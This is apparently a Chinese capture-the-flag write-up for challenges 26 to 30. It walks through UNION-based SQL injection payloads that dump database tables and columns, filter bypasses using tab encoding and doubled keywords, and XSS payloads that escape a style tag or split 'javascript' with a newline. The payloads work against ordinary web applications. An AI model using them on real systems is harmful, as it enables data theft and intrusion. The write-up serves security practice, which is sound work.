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NO.26

按照提示来依次访问one,two,three

访问two时则弹出了以下内容
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尝试sql注入，输入 one'%23正常回显（%23是#的url编码，前端不会把#以及#后的内容传输到后端，所以要经过url编码才能传
输）

判断显示位 order by [number]%23到5则报错，说明只有4个显示位



查看显示位 -one' union select 1,2,3,4%23

查表 -one' union select 1,2,3,group_concat(table_name) from information_schema.tables where

table_schema=database()%23

查字段名 -one' union select 1,2,3,group_concat(column_name) from information_schema.columns where

table_name='workbook'%23



根据排查id=6得到flag

NO.27

提示意思其实是告知输入的内容会在<style>标签中，还要使用<script>标签，意思就是让我们闭合<style>标签了



尝试输入 </style>，看是否能闭合

试试大小写绕过 <STYLE>

发现还是被过滤了，排除掉双写的方法，因为双写的办法DOM无法识别是一个标签，实现让DOM认识标签那么一定要保证标签
的连贯性，也就是说至少要保证 <style连贯的



我们尝试在<style后添加一些空字符，换行符等， <style+>，+号在url中代表空格，发现我们输入的值并不在<style>中，那么可
能是闭合了

添加xss语句： </style+><script>alert(1)</script>



成功弹窗！

NO.28

还是xss

这次是会将输入的值放在一个超链接，那么可以考虑用 <a href=javascript:alert(1)>来触发弹窗

javascript被添加了"_"，无法触发弹窗，可以在javascript中加入换行符%0a， javascr%0aipt:alert(1)



触发弹窗

NO.29



也是xss

这道题和28题思路也是一样的，同样是 <a href=javascr%0aipt:alert(1)>

NO.30

提示也很明显了，sql注入



首先判断查询的内容是什么类型（字符型，数字型）

那么很明显就是数字类型了，可以用and来判断 png=1 and 1#



结果报错了，空格被替换成了<>，and估计也被过滤了；空格利用%09绕过，and双写尝试绕过；png= 1%09aandnd%091#

查看显示位： png=1%09order%09by%091#

发现or被删掉了，那么重写or： png=1%09oorrder%09by%091#



一直增加到4，页面报错，所以显示位有3个

查找显示位 png=0%09union%09select%091,2,3#



查表：

png=0%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema

=database()#

发现又被过滤了，定位到“tables”，直接拿出来单独测试 png=0%09union%09select%091,2,information_schema.tables

又被过滤了，重写or绕过 png=0%09union%09select%091,2,infoorrmation_schema.tables



再次查表：

png=0%09union%09select%091,2,group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_sche

ma=database()#

查字段名：

png=0%09union%09select%091,2,group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_na

me='bluesky'#



查字段： png=0%09union%09select%09id,sky1,sky2%09from%09bluesky#

得到flag
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